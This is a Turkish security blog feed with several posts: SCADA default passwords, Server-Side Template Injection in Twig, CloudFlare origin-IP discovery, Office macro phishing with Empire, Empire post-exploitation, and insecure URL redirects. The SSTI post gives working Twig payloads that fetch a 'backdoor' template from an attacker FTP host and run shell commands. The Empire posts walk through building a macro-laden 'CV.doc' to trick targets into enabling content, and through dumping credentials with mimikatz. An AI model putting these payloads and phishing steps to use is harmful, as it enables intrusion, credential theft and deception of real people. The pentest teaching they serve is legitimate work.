İşletim sistemi zafiyetleri, Modbusprotokol zafiyetleri ve SCADA yazılım zafiyetlerinin basit birer uygulamasını tamamlamış olduk. Farklı SCADA yazılımlarında benzer ve ya farklı zafiyetler bulunabilir. Bunun dışında da oldukça basit görülen fakat en az bunlar kadar kritik olan ön tanımlı kullanıcı adı ve parola kullanımı/kurulumu yapılmış yazılımlardır.

Yukarıda ki resimde bulunan WAGO yazılımı SCADA yazılımlarının web tabanlı yönetim panelidir. Bu web tabanlı yönetim panelleri internete açık bir şekilde bırakılmamalıdır. Dışarıdan erişilmesi gerekiyorsa IP kısıtlaması veya VPN kullanılmalıdır. WAGO üzerinden tüm servis, port ve sistem hakkındaki tüm bilgilere erişilip hatta sistemi yeniden başlatılabilir.

Yukarıda ki resimde WAGO web tabanlı yönetim panelinin varsayılan parolaları görülmektedir. Bunlar herkese açık bir şekilde bulunmaktadır. Hem dışa açık hemde ön tanımlı kullanıcı adı ve parola kullanımı oldukça kötü sonuçlara neden olabilir. SCADA yazılım ve sistemlerinin ön tanımlı kullanıcı adı ve parolalarına buradan ulaşabilirsiniz.

SCADA sistemlerini test ederken kullanabileceğiniz bir çok aracın listesine buradan ulaşabilirsiniz.

Güvenli günler dilerim.

Kaynaklar :

  • http://www.elektrikrehberiniz.com/elektronik/modbus-nedir-10834
  • http://www.elektrikport.com/teknik-kutuphane/modbus-nedir/17063
  • http://www.elektrikport.com/teknik-kutuphane/scada-nedir-elektrikport-akademi/8051

TR | SCADA Sistemleri ve Güvenliği Ahmet Gürel

]]>
https://canyoupwn.me/tr-scada-sistemleri-guvenligi/feed/ 0
TR | Server Side Template Injection https://canyoupwn.me/tr-server-side-template-injection/ https://canyoupwn.me/tr-server-side-template-injection/#respond Sun, 29 Oct 2017 19:14:39 +0000 https://canyoupwn.me/?p=7341 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Template Injection Nedir ? Tema/Şablon motorları (Template Engine) web uygulamalarında dinamik verileri sunmak için kullanılan yaygın yöntemlerden biridir. Şablonlara beklenenin dışında, geliştiricinin istemediği şekilde girdi eklemek, XSS çalıştırmak son derece kolaydır ve kritik bir güvenlik zafiyeti olan Template Injection zafiyetini sömürülebilir ve sunucu tarafına doğrudan saldırı için kullanılabilir, uzaktan kod çalıştırma (RCE) elde edilebilir. Bu […]

TR | Server Side Template Injection Hakkı YÜCE

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Template Injection Nedir ?

Tema/Şablon motorları (Template Engine) web uygulamalarında dinamik verileri sunmak için kullanılan yaygın yöntemlerden biridir. Şablonlara beklenenin dışında, geliştiricinin istemediği şekilde girdi eklemek, XSS çalıştırmak son derece kolaydır ve kritik bir güvenlik zafiyeti olan Template Injection zafiyetini sömürülebilir ve sunucu tarafına doğrudan saldırı için kullanılabilir, uzaktan kod çalıştırma (RCE) elde edilebilir. Bu zafiyet hem geliştirici hatası hem de içerik yönetim sistemleri (CMS) tarafından işlevsellik sunmak için template engine kullanılmasından kaynaklanmaktadır.

Web uygulamaları dinamik içeriği sayfalara ve e-postalara katmak için genellikle Twig ve FreeMaker gibi şablon sistemlerini kullanırlar.

Pazarlama için geliştirilmiş bir toplu e-posta uygulaması düşünelim;
Alıcıları mail başında ismine göre (Merhaba Hakkı,) selamlamak için Twig kullanıldığını var sayalım.
İsim aşağıdaki gibi şablona aktarılırsa düzgün çalışır.

$output = $twig->render("Dear {first_name}," array("first_name" =>
$user.first_name) );

Ancak aşağıdaki gibi kullanıcının bu e-postayı özelleştirmesine izin verilirse potansiyel zafiyet baş gösterdi demektir.

$output = $twig->render($_GET['custom_email'], array("first_name" =>
$user.first_name) );

İkinci örnekte kullanıcı şablonun kendisine verilmiş bir değer yerine custom_email GET parametresi ile kontrol eder, haliyle bu durumda bir XSS zafiyeti ortaya çıkar ve bununla birlikte daha kritik Template Injection zafiyetinin varlığı kontrol edilebilir.

custom_email={{7*7}}

Yukarıdaki gibi bir kod çalıştırılır ve çıktısı 49 olursa, Template Injection zafiyeti olduğu doğrulanabilir.

Örn;


Template Injection; kullanıcı girdilerinin doğrudan şablona eklenmesi durumunda ortaya çıkmaktadır.

Yukarıdaki örnek XVWA üzerinden gösterilmiştir.

Zafiyet Tespiti

Template Injection zafiyeti, kendi algılama yöntemine göre değişen iki farklı bağlamda görülebilir.

Düz Metin İçeriği

Çoğu şablon dili HTML formlar üzerinde ‚text’ girişi yapabileceğimiz girdi bağlamını desteklemektedir, aşağıdaki yöntemlerden biri ile görülecektir.

smarty=Hello {user.name}
Hello user1

freemarker=Hello ${username}
Hello newuser

any=<b>Hello</b>
<b>Hello</b>

Bu durum sıklıkla XSS ile sonuçlanır haliyle XSS zafiyetini gördüğümüz her yer potansiyel template injection zafiyeti demektir. Şablon motorları HTML karakterleri ile çakışmamak üzere yapılandırılmıştır.

Kod İçeriği

Kullanıcı adı, değişken olarak şablon deyimine yerleştirilebilir.

personal_greeting=username
Hello user01

Bu şekilde değişken olarak kullanıldığında açık bir şekilde XSS ile karşılaşmıyoruz ve değeri değiştirdiğimizde genelde boş bir çıktı yada uygulama hatası ile sonuçlanıyor. Bu durumda bir şablon ifadesi ve ardından HTML tagi ekleyerek zafiyeti saptayabiliriz.

personal_greeting=username
Hello

personal_greeting=username}}
Hello user01

Tanımlama

Template Injection zafiyetini tespit ettikten sonra uygulamamız gereken adım şablon motorunu tanımlama olmalıdır fakat genellikle otomatik hata mesajlarından direk tanımlanabilir, hata mesajları gizlendiğinde ise iş başa düşmektedir. Tespit için kullanacağımız girdiler şablon motorlarına göre değişiklik gösterebilmektedir.
Örneğin; {{7*7}} girdisi Twig’de 49 olarak çıktı verirken, Jinja2’de 7777777 şeklinde bir çıktı vermektedir. Bu şekilde tanımlama için kullanılabilecek örnek girdiler ve çıkaracağımız sonuç şablonu aşağıdaki gibidir.

 

İstismar / Exploit

Tespit ve tanımlama adımlarından sonra uygulamamız gereken işlem erişilebilen belgelerin okunmasıdır, bu adamın önemi küçümsenmemelidir.

Bir sonraki adım, neye sahip olduğunuzu tam olarak öğrenmek için çevreyi keşfetmektir. Hem şablon motoru tarafından sağlanan varsayılan nesneleri hem de geliştiricinin şablona aktarılan uygulamaya özgü nesneleri bulmaya çalışılmalıdır. Çoğu şablon sistemi kapsamı her şeyi içeren bir”sel” veya namespace nesnesi ve bir nesnenin niteliklerini ve yöntemlerini listelemek için deyimsel bir yöntem sunar.
Eğer yerleşik bir öz nesne yoksa, değişken adları zorlamak zorunda kalacaksınız. Bunun için,FuzzDB ve Burp Intruder’ın sözcük listesi topluluğu; PHP projelerinde kullanılan GET / POST değişken adlarını ve GitHub’ı tarayarak  herkese açık olarak bir wordlists yayınladı.
Geliştirici tarafından sağlanan nesnelerin özellikle hassas bilgiler içermesi muhtemeldir ve bir uygulama içindeki farklı şablonlar arasında değişiklik gösterebilir, bu nedenle bu işlem ideal olarak ayrı ayrı her şablona uygulanmalıdır.

Bu noktada, size sunulan saldırı yüzeyi hakkında sağlam bir fikriniz olmalı ve her bir işlevin istismar edilebilir zayıflıklar açısından gözden geçirilerek geleneksel güvenlik denetim tekniklerini kullanabilmelisiniz.
Uygulamaya özel özellikleri kullanmak için bazı işlevler kullanılabilir. Verilebilecek örnekler dosya okuma / yazma, LFI/RFI, bilgi ifşası ve yetki yükseltme güvenlik açıklarını tetiklemek için template injection kullanacaktır.

İstismar

Bu aşamada zafiyetli web uygulaması XVWA üzerinde bulunan Twig şablon motoru üzerinden örnek gösterilmiştir, diğer motorlar için örnekler aşağıdaki bağlantıdan incelenebilir.

http://blog.portswigger.net/2015/08/server-side- template-injection.html

Twig, PHP dilinde kullanılan popüler şablon motorlarından birisidir. Smarty’nin güvenli moduna benzer diyebiliriz, statik yöntemleri çağırmak mümkün değildir. Twig’in kendi (_self) nesnesi vardır bu nedenle
değişken isimlerini bulmaya zorlamak zorunda kalmayacağız.
_self nesnesi istismar için işimize yarayacak yöntemler içermiyor ancak Twig_Environment nesnesi altında bulunan env niteliğine sahiptir.
Twig_Cache yöntemi, Twig’in derlenmiş şablonlarını (PHP dosyalarını) yüklemeye ve çalıştırdığı dosyaların konumunu değiştirmemize olanak sağlayan bir yöntemdir yani RFI zafiyeti sağlamaktadır.

{{_self.env.setCache("ftp://attacker.net:2121")}}

{{_self.env.loadTemplate("backdoor")}}

Bununla birlikte PHP’nin güncel sürümlerinde allow_url_include vasıtasıyla uzaktaki dosyaların varsayılan olarak eklenmesi engellenebilir yani bu örneğe sık rastlayamayız.
getFilter yönteminde 874. Satır üzerindeki kod call_user_func işlevini çağırıyor, istediğimiz PHP işlevini çağırıp çalıştırabiliriz.

public function getFilter($name)
{
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}

aşağıdaki girdi ile komut çalıştırılabilecektir.

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Server-Side%20Template%20Injection%20RCE%20For%20The%20Modern%20Web%20App%20-%20BlackHat%2015.pdf

TR | Server Side Template Injection Hakkı YÜCE

]]>
https://canyoupwn.me/tr-server-side-template-injection/feed/ 0
TR | CloudFlare Bypass Yöntemleri https://canyoupwn.me/tr-cloudflare-bypass-yontemleri/ https://canyoupwn.me/tr-cloudflare-bypass-yontemleri/#comments Thu, 12 Oct 2017 11:21:01 +0000 https://canyoupwn.me/?p=7291 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

CloudFlare Nedir Cloudlare sitenizi güvenlik açısından ileri seviye bir güçlendirmeye alan ücretli ve ücretsiz proxy hizmetlerini kurumsallaştırıp sunan sistemdir. Cloudflare bir içerik dağıtım ağı servisidir yani sitenizin verilerini dünya çapında dağıtılmış sunucularda saklar ve sitelerin ip adreslerini saklar. Her türlü yazılım ile yazılan sisteminize entegre edebileceğiniz bu sistemi bugün ismi duyulmuş çoğu site kullanmaktadır. Aynı zamanda sizin trafik dostunuz olan […]

TR | CloudFlare Bypass Yöntemleri Cihan Mehmet Doğan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

CloudFlare Nedir

Cloudlare sitenizi güvenlik açısından ileri seviye bir güçlendirmeye alan ücretli ve ücretsiz proxy hizmetlerini kurumsallaştırıp sunan sistemdir. Cloudflare bir içerik dağıtım ağı servisidir yani sitenizin verilerini dünya çapında dağıtılmış sunucularda saklar ve sitelerin ip adreslerini saklar. Her türlü yazılım ile yazılan sisteminize entegre edebileceğiniz bu sistemi bugün ismi duyulmuş çoğu site kullanmaktadır. Aynı zamanda sizin trafik dostunuz olan bu site önbellek (cache) tutarak daha az sorgu yapılmasını, dosya indirilmesini sağlar ve böylece trafiğiniz azalmış olur.

Örneğin web siteniz Fransa lokasyonlu bir sunucumuzda barındırılıyor ama ziyaretçileriniz Türkiye’den giriyor olsun. Cloudflre Türkiye’de bulunan ya da en yakın Cloudflare sunuculardan yayın yapacak  ve  bu hizmet sayesinde sitenizin daha hızlı(ücretli versiyonlarında) ve stabil açılmasını sağlayacaktır.

Cloudflare ücretli paketlerinde ddos,sql injection,  xss,  spam gibi saldırılardan koruyan web firewall özellikleri bulunmaktadır. Bu hizmeti sunan sadece Cloudlare hizmeti yoktur. Japon menşeili firma olan Akamai’de bu alanda başarılıdır.

CloudFlare Kullanıldığını Öğrenme

Cloudflare arkasındaki sitenin ip adresini bulma için bir kaç yöntem deneyeceğiz. Bu yöntemlerde www.esintitaki.com sitesini kullanacağız. Benim yapmış olduğum bir sitedir ve böylelikle hiçbir suç teşkil etmeyecek. Site şuan tam olarak tamamlanmadı ve kullanımda değil.

Siteye bir ping paketi göndererek ip adresini öğrenelim.

 

Cloudflare İp Listesinden ip adres aralıklarına bakabilirsiniz.

Bir sitenin cloudflare hizmetini kullanıp kullanmadığını anlamanın birçok yöntemi vardır. Ben Wappalyzer eklentisini kullacağım. Wappalyzer Chrome ,Opera ve Mozilla üzerine kurulan bir eklentidir. Bir siteye ait kullanılan tüm yazılım dilleri ve kullanılan javascript kütüphaneleri hakkında bilgi verir. Alternatifi olarak https://builtwith.com sitesi üzerinden hedef siteyle ilgili ayrıntılı bilgiye ulaşabilirsiniz. Aşağıda wappalzer eklentisinin basit bir görünümü bulunmaktadır.

İkinci bir yöntem olarak kullandığım diğer eklenti olan Shodan . Bu eklenti site ip adresi, ip adres konumunu, sitedeki açık portları ve  kullanılan hosting firmasını gösterir.

 

CloudFlare Bypass Etme Yöntemleri

Aşağıda Cloudflare bybass etme yöntemleri gösterilecektir. Burada anlatılan yöntemler tüm sitelerde  yüzde yüz kesin sonuç vermeyebilir. Her sitenin konfigürasyonu farklı olabilir. Biz burada eksik yapılan konfigürasyon eksikleri sayesinde sitenin gerçek ip adresine ulaşacağız. Burada önemli olan gösterilecek  yöntemlerin sadece birisi yerine bir kaç tanesi denendikten sonra aynı sonucun ortaya çıkmasıdır.

1)PİNG

Sitemiz ip adresini bulmak için  ICMP protokolünü kullanarak ping göndereceğiz. Site dns adresine ping gönderildiğinde cloudflare’e kayıtlı olan ip adresini görmüş oluruz. Aşağıdaki subdomainler hosting firmaları tarafından oluşturulur. İlk başta ana siteye ping atarak site ip adresi öğrenilir, daha sonra diğer subdomanlere de gönderilerek ana siteden farklı ip adreslerini bulmaya çalışırız. Bulunan bu farklı ip adresi sitenin gerçek ip adresi olur.

ping esintitaki.com

ping cpanel.esintitaki.com

ping ftp.esintitaki.com

ping webdisk.esintitaki.com

ping webmail.esintitaki.com

ping whm.esintitaki.com

ping mail.esintitaki.com

ping direct.esintitaki.com

ping direct-connect.esintitaki.com

2)NMAP

Birinci yöntemde yaptıklarımızı nmap aracı ile yapabiliriz.Asağıdaki kod verilen dns üzerindeki tüm altalan adlarını(subdomain) kaba kuvvet yöntemi ile tarayıp bulur daha sonra ip adreslerini verir.

nmap --script dns-brute -sn esintitaki.com

nmap -sV -sS -F esintitaki.com

3)DNSENUM

Dnsenum aracıda sitenin nameserver, mail server’ın dns adrelerini ve bunların ip adreslerini bulur.

 dnsenum esintitaki.com

 

4)DNSMAP

Dnsmap aracı ile tüm dns haritasını ve ip adreslerini ortaya çıkararır.

dnsmap esintitaki.com

5)NSLOOKUP

 

Nslookup aracı ile mx sorgusu ile mail sucususunun subdomainini bulduktan sonra bu adrese ping sorgusu ile sitenin gerçek ip adresine ulaşılabilir.

nslookup  -q=mx esintitaki.com

ping dc-49e264d0.esintitaki.com

6)Netcraft

Siteyi oluşturan tarafın site oluşturulduktan sonra hemen clouldflare ile ipadresini gizlemeyebilir. Bu yüzden eski DNS ve İp kayıtlarına bakarak bulabiliriz.

Netcraft ile siteyi taradığımızda site ile ilgili site  açılma tarihi, nameserver ve hosting geçmişi gibi bir çok bilgi yer alıyor. Aşağıdaki resimde de görüldüğü gibi yazilimodasi.com ip adresi tespit edildi.Her sitenin bu şekilde gözükmeyebilir ben siteyi clouldflare’a yeni taşıdığım için gözükebilir.

 

8)Viewdns.info

Viewdns.info sitesi verilen dns adresinin  domain ve hosting geçmişine ait firmaların isimleri ve ip adreslerini verir. Buradan sitenin cloudflare’den bir önceki ip adresi sitenin kendi ip adresidir.

Bir ara bende yazilimodsi.com sitesini Cloudflare geçirmiştim. Sonra sitede yavaşlamalar yaşanmaya başladığı için sonradan geri eski haline dödürdüm.Buradan şu sonuç çıkıyor güvenlik ve sitenin hızı ters orantılıdır. Artık ikisinden birini seçmek zorundasın.

 

9) Dnsdumpster

https://dnsdumpster.com/

9)CrimeFlare

CrimeFlare, PIR(Public Information Research) tarafından kurulmuş, CloudFlare’ın suça teşvik edici bir yapı olduğunu ve zararları olduğunu düşünen bir sitedir.

Bu adresten sitenin arama kutusuna ulaşıp, gerçek ip adreslerini görmek istediğiniz siteyi aratarak sonuca ulaşabilirsiniz. Sitede an itibariyle 1.1 milyondan fazla kayıt olduğu söyleniyor. Ayrıca isterseniz sitedeki veritabanını bilgisayarınıza indirip inceleyebilirsiniz.

 

10)İnternetten Online CloudFlare Bypass Yapan Siteler

Aşağıdaki siteler cloudflare ip gizleme işlemlerini bypass eden  online siteler aşağıdaki gibidir.

https://cloudresolve.net/

http://dnstree.com

http://skypegrab.net/cf.php

11)Websploit

WebSploit aracı clouldfire bypass yöntemlerinden en bilindik yöntemidir.Websploit ile man in the middle (araya girme) saldırısında kullanılan içerinde birçok modül bulunmaktadır.Kali,Parrot, Black Arck, Back Box gibi işletim sitemlerinde kuurlu gelir.Terminale websploit yazılarak araç başlatır.

show modules komutu ile içinde barındırdığı saldırı türlerini görebiliriz. Web,network,exploit,wireless alanlarında ait saldırı türlerini vardır. use komutu ile işlem yapacağımız saldırı türünü seçiyoruz. set target komutu ile hedef site adresini belirlenir.İşlemi başlatmak için run komutu kullanılır

websploit

use web/cloudflare_resolver

set target esintitaki.com

run

 

12)Resim Yöntemi
Yapılacağımız kısaca ip öadresini öğrenek istediğimiz siteye üye olup kullanıcı profilinden profil fotoğrafını ya da avatarımı değiştirerek siteye yüklediğimiz resim dosyasını izleyerek sitenin kendi ip adresine ulaşacağız.
http://iplogger.org/main/img/ adresindeki yere buradaki gibi alınan resim yükleyin.Resmi yükledikten sonra aşadıdaki gibi bir ekranla karşılaşacaksınız.

Üstteki resimde en alttan yüklediğimiz dosyanın türününü istediğiniz gibi değiştirebilirsiniz.Ben png olarak değiştirdim.Deneme yapacağımız  http://www.esintitaki.com/ sitesi kullanıcı profilinden profil resmini değiştirme ekranına geliyoruz ve iplogger sitesinden yeni oluşturduğumuz resmin linkini avatar yerine yapıştırıyoruz.

Aynı şekilde forum sitelerinde de yapabilirsiniz.Avatarımı değiştir dediğinizde anasiteden iplogger’a istek gideceği için ip adresini buluruz.

İp adresleri aşağıdaki gibi gözükecektir.Denediğim forum sitesi büyük bir site olduğu için gerçek ip adresini gizlemek zorunda kaldım ama yöntem işe yarıyor.Aynı yöntemi siteye yorum olarak yaparakta ip adresine ulaşabiliriz.

13)Betikle Cloudflare Bypass Etme 

a)Nslookup aracı ile yapmış olduğum basit iki script.Sitenin dns adresinin ip adresini ve bulunduğu hosting firmasının adını gösterir.

Scriplerin kaynak kodları ve kullanımı ağaşıdaki linkten ulaşabilirsiniz

https://github.com/cihanmehmet/cloudflarebypass/

cloudflare bypass etmek için kullanılan iki ayrı script bulunmaktadır.

git clone https://github.com/cihanmehmet/cloudflarebypass.git

cd cloudflarebypass

İlk başta scriptlerimizi çalıştırabilmemiz için  yazma izni vermeliyiz

sudo chmod +x dnsresolver.sh

sudo chmod +x  cloulflarebypass.py

Betikleri çalıştırmak için;

python cloulflarebypass.py

./cloulflarebypass.py

bash dnsresolver.sh

./dnsresolver.sh

b)Ruby ile yazılmış olan gerçek ip adresini bulmak için yazılmış başarılı bir araç.

git clone https://github.com/HatBashBR/HatCloud.git

cd HatCloud

sudo chmod +x hatcloud.rb

Kullanımı

ruby hatcloud.rb -b targetsite.com

ruby hatcloud.rb --byp targetsite.com

14)CloudFail

CloudFail, sunucunun yerini keşfetme umuduyla CloudFlare tarafından korunan bir hedef hakkında yeterli bilgiyi toplamayı amaçlayan taktik bir keşif aracıdır. Tor’un tüm istekleri maskelemek için kullandığı araç şu an itibariyle 3 farklı saldırı evresine sahip.

a)DNSDumpster.com sitesini kullanarak yanlış yapılandırılmış DNS taraması.

b)Crimeflare.com veritabanını taraması

c)Bruteforce 2500’den fazla alt alan taramalısı.

Kurulumu

Bu aracın çalışması için gerekli python3 kütüphaneleri

pip3 install argparse colorama socket binascii datetime requests

git clone https://github.com/m0rtem/CloudFail.git

Kullanımı

a)Normal kullanımı

python cloudfail.py --target targeturl.com

b)Tor kullanarak bir hedefe karşı tarama yapmak için:

service tor start

python cloudfail.py --target esintitaki.com --tor

15)Sosyal Mühendislik

Diğer bir yöntem olarak siteye domanini  üzerinden bize mail  gelmesine sağlayarak mailin geldiği yer kontrol ederek site ip adresine ulaşılabilir.Bunun için karşı tarafın size mail adresi göndermesi için sosyal mühendislik yöntemleri kullanmalısınız.

 

TR | CloudFlare Bypass Yöntemleri Cihan Mehmet Doğan

]]>
https://canyoupwn.me/tr-cloudflare-bypass-yontemleri/feed/ 1
TR | Empire ile Office Macro Phishing Saldırısı Hazırlamak https://canyoupwn.me/empire-ile-office-macro-phishing-saldirisi-hazirlamak/ https://canyoupwn.me/empire-ile-office-macro-phishing-saldirisi-hazirlamak/#respond Sat, 07 Oct 2017 10:24:04 +0000 https://canyoupwn.me/?p=7274 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Herkese Merhabalar, Bu yazımda yine Empire ile bir senaryo üzerinden gideceğiz. Bundan önceki yazımda  Empire Post Exploitation Araç Kurulumu ve Kullanımı adlı bir yazıydı. Bu yazının sonunda Empire kullanarak Macro kodu ile powershell payloadı üretmeye değinmiştim. Fakat yazının sonunda kısaca değindiğim için uygulama kısmında sorun yaşayanlar olmuş, onun için ikinci bir yazı ile değineyim dedim. İlk yazıyı […]

TR | Empire ile Office Macro Phishing Saldırısı Hazırlamak Ahmet Gürel

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Herkese Merhabalar,

Bu yazımda yine Empire ile bir senaryo üzerinden gideceğiz. Bundan önceki yazımda  Empire Post Exploitation Araç Kurulumu ve Kullanımı adlı bir yazıydı. Bu yazının sonunda Empire kullanarak Macro kodu ile powershell payloadı üretmeye değinmiştim. Fakat yazının sonunda kısaca değindiğim için uygulama kısmında sorun yaşayanlar olmuş, onun için ikinci bir yazı ile değineyim dedim. İlk yazıyı okumayanlar okuduktan sonra bu yazıyı okursa daha faydalı olacaktır diye düşünüyorum.

Empire açtıktan sonra resimde görüldüğü gibi eğer listener yoksa uselistener komutu ile bir adet listener oluşturuyoruz.

info komutu ile listener hakkınad parametre bilgilerini görüntüleyip değişlikler yapabilirsiniz. set komutu ile parametrelere değer girebilir/değiştirebilirsiniz.

usestager windows/macro Listener_Adı komutu ile stager kullanıp macro olarak powershell payloadı oluşturabilmekteyiz.

Artık macro kodumuz hazır. Bunu istere Word ister Excel dosyasına macro olarak gömebilir, sosyal mühendislik çalışması için kullanabilirsiniz. Masraf Formu.xls  ya da CV.doc şeklinde insanların ilgisini çekecek biçimde göndererek açmasını sağlayarak hedefte erişim sağlayabilirsiniz.

Bu kısımda denemek için ben word dosyası açıp, Görünüm ->Makrolar a tıklayarak bir makro oluşturdum.

Empire ile oluşturduğumuz macro kodumuzu kopyalıyoruz.

Yaptığımız işlemleri kaydettikden sonra, farklı kaydet diyerek Word 97-2003 dosyası olarak kayıt ediyoruz. Artık dosyamız hazır hedefe göndereceğimiz son şeklinde, bir senaryo ile hedefe gönderip açtırmak hayal gücünüze ve yeteneğinize kalıyor.

Dosyayı açtığımızda macroyu etkinleştirme uyarısı gelmekte, eğer hedefiniz dosyaya güvenip İçeriği Etkinleştir’e tıklarsa her şey başarılı bir şekilde gerçekleşecektir.

Başarılı bir şekilde listenerımıza bağlantı geldi ve agentımız oluştu.

Sistem bilgileri bu şekilde karşımızda, bundan sonra Empire Post Exploitation aşamaları kolaylıkla gerçekleşmektedir, bir önceki yazıda bulunmakta bu aşamalar.

Başka bir yazıda görüşmek üzere.

TR | Empire ile Office Macro Phishing Saldırısı Hazırlamak Ahmet Gürel

]]>
https://canyoupwn.me/empire-ile-office-macro-phishing-saldirisi-hazirlamak/feed/ 0
TR | Empire Post Exploitation Araç Kurulumu ve Kullanımı https://canyoupwn.me/tr-empire-post-exploitation-arac-kurulumu-kullanimi/ https://canyoupwn.me/tr-empire-post-exploitation-arac-kurulumu-kullanimi/#respond Tue, 29 Aug 2017 13:47:51 +0000 https://canyoupwn.me/?p=7216 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Empire, PowerShell ve Python kullanan bir post-exploitation aracıdır. Oldukça pratik ve gelişmiş özellikleri vardır. İçinde exploit bulunmamaktadır. Sadece payloadlar üretmekde ve listener bulundurmaktadır. Bunun haricinde sızma testinde post-exploitation aşamasında kullanılacak bir çok modül vardır. Powershell kullandığı için kurumlardaki antivirus gibi güvenlik yazılımlarına yakalanmadan işlem yapıp shell sağlayabilmektedir. Gelişmiş sosyal mühendislik saldırıları için macro payloadları üretebilmektedir. Kurulum: […]

TR | Empire Post Exploitation Araç Kurulumu ve Kullanımı Ahmet Gürel

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Empire, PowerShell ve Python kullanan bir post-exploitation aracıdır. Oldukça pratik ve gelişmiş özellikleri vardır. İçinde exploit bulunmamaktadır. Sadece payloadlar üretmekde ve listener bulundurmaktadır. Bunun haricinde sızma testinde post-exploitation aşamasında kullanılacak bir çok modül vardır. Powershell kullandığı için kurumlardaki antivirus gibi güvenlik yazılımlarına yakalanmadan işlem yapıp shell sağlayabilmektedir. Gelişmiş sosyal mühendislik saldırıları için macro payloadları üretebilmektedir.

Kurulum:

git clone https://github.com/EmpireProject/Empire.git
cd Empire/setup
./install.sh

Kullanımı:

Genel yapı olarak listenersstager ve  module  bulunmaktadır. Bunların parametrelerini set ve unset ile düzenleyip execute komutu ile çalıştırabilmekteyiz. Stager’i kullanabilmek için bir listener seçmeli ve onu çalıştırmalıyız. Parametre olarak listener istemektedir. Gelen bağlantıları agents yazarak görebilmekteyiz. help komutu ilede detaylı olarak tüm komutları görebilirsiniz.

Listener başlatmak için : uselistener http_com  diyerek seçilir. info http_com ile parametreler görülmektedir. set ve unset komutları ile parametreleri düzenledikten sonra execute komutu ile listener başlatılır.  Daha sonra listeners komutu ile listenerlar listenebilir.

Agents komutu ile gelen bağlantılar listenebilir. Default olarak kendi agenti bulunmaktadır.

listeners yazıp tab’a basarak tüm listenerları listeleyebiliriz. usestager yazıp tab’a bastığımızda kullanabileceğimiz tüm stagerları görebilmekteyiz. Burada powershell ile bir tane bat dosyası oluşturan  usestager windows/launcher_bat  komutu ile onu seçmekteyiz ve execute komutu ile çalıştırmaktayız. /tmp/launcher.bat adresinde oluşmuştur.

cat /tmp/launcher.bat  komutu ile dosyamızı görüntülüyoruz.

Bu dosyayı sisteme ister bat olarak yükleyip çalıştırabilirsiniz yada benim bu senaryoda file upload zafiyeti bulunan bir yazılıma cmd shell yükleyip web shell üzerinden direk çalıştırarak sistemden empire’a shell alabilirsiniz.

interact E2SPRAVT diyerek gelen bağlantımızdaki shellimize geçebilmekteyiz.

info komutu ile sistem hakkında bilgiler alınabilmektedir. shell yazıp istediğimiz cmd komutunuda çalıştırabilmekteyiz.

usemodule yazıp tab’a bastığımızda post-exploitation için kullanabileceğimiz bir çok modül gelmektedir. usemodule credentials/mimikatz/lsadump   komutu ile modulu seçip execute diyerek mimikatz modulünü çalıştırıyoruz.

Genel olarak Empire’ı kullanarak sistem üzerinden shell alıp post-exploitation modullerini kullandık. İç network tarafında metasploitin meterpreter bağlantılarının güvenlik yazılımları tarafından yakalanmasından dolayı power shell payloadları ile shell alınabilmektedir. Metasploit gibi gelişmiş bir framework değildir. İçinde exploit bulunmamaktadır.

Empire, sosyal mühendislik testleri için zararlı macro payloadı üretmektedir.  usestager windows/macro listener_adi komutu ile stagerı seçip execute  ile çalıştırıldığında /tmp/macro nun altında çalışmaktadır. Bu payloadı office yazılımlarına (word,excel) yapıştırıp karşı tarafta çalıştırıldığında listenerımıza bağlantı gelmektedir. Agents komutu ile gelen bağlantıları görüp interact ile geçiş yapılabilirsiniz.

 

TR | Empire Post Exploitation Araç Kurulumu ve Kullanımı Ahmet Gürel

]]>
https://canyoupwn.me/tr-empire-post-exploitation-arac-kurulumu-kullanimi/feed/ 0
TR | URL Redirect https://canyoupwn.me/tr-url-redirect/ https://canyoupwn.me/tr-url-redirect/#respond Wed, 12 Apr 2017 06:28:20 +0000 https://canyoupwn.me/?p=6895 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

URL Redirect URL Redirect (URL Yönlendirme), basit fakat önlem alınmadığı takdirde özellikle firmalar için büyük risklere sebep olan bir zafiyettir. Sistem tarafında kontrol sağlanmayan bir inputa saldırgan tarafından gönderilen zararlı siteye yönlendirme isteği ile zararlı sitenin kullanıcının karşısına çıkmasına yol açabilir. Öncelikle bazı programlama dillerindeki güvensiz URL yönlendirmelerine örnekleri inceleyelim. Aşağıdaki Java kodu URL parametresi […]

TR | URL Redirect Ali TONKAZ

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

URL Redirect

URL Redirect (URL Yönlendirme), basit fakat önlem alınmadığı takdirde özellikle firmalar için büyük risklere sebep olan bir zafiyettir. Sistem tarafında kontrol sağlanmayan bir inputa saldırgan tarafından gönderilen zararlı siteye yönlendirme isteği ile zararlı sitenin kullanıcının karşısına çıkmasına yol açabilir.

Öncelikle bazı programlama dillerindeki güvensiz URL yönlendirmelerine örnekleri inceleyelim.

Aşağıdaki Java kodu URL parametresi ile gelen değeri direk olarak yönlendirme işlemine tabi tutar.

response.sendRedirect(request.getParameter("url"));

Benzer işlem PHP dilinde aşağıdaki gibi yapılabilir.

$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

Aynı işlemin C#.NET ortamında kullanış şekli aşağıdaki gibidir.

string url = request.QueryString["url"];
Response.Redirect(url);

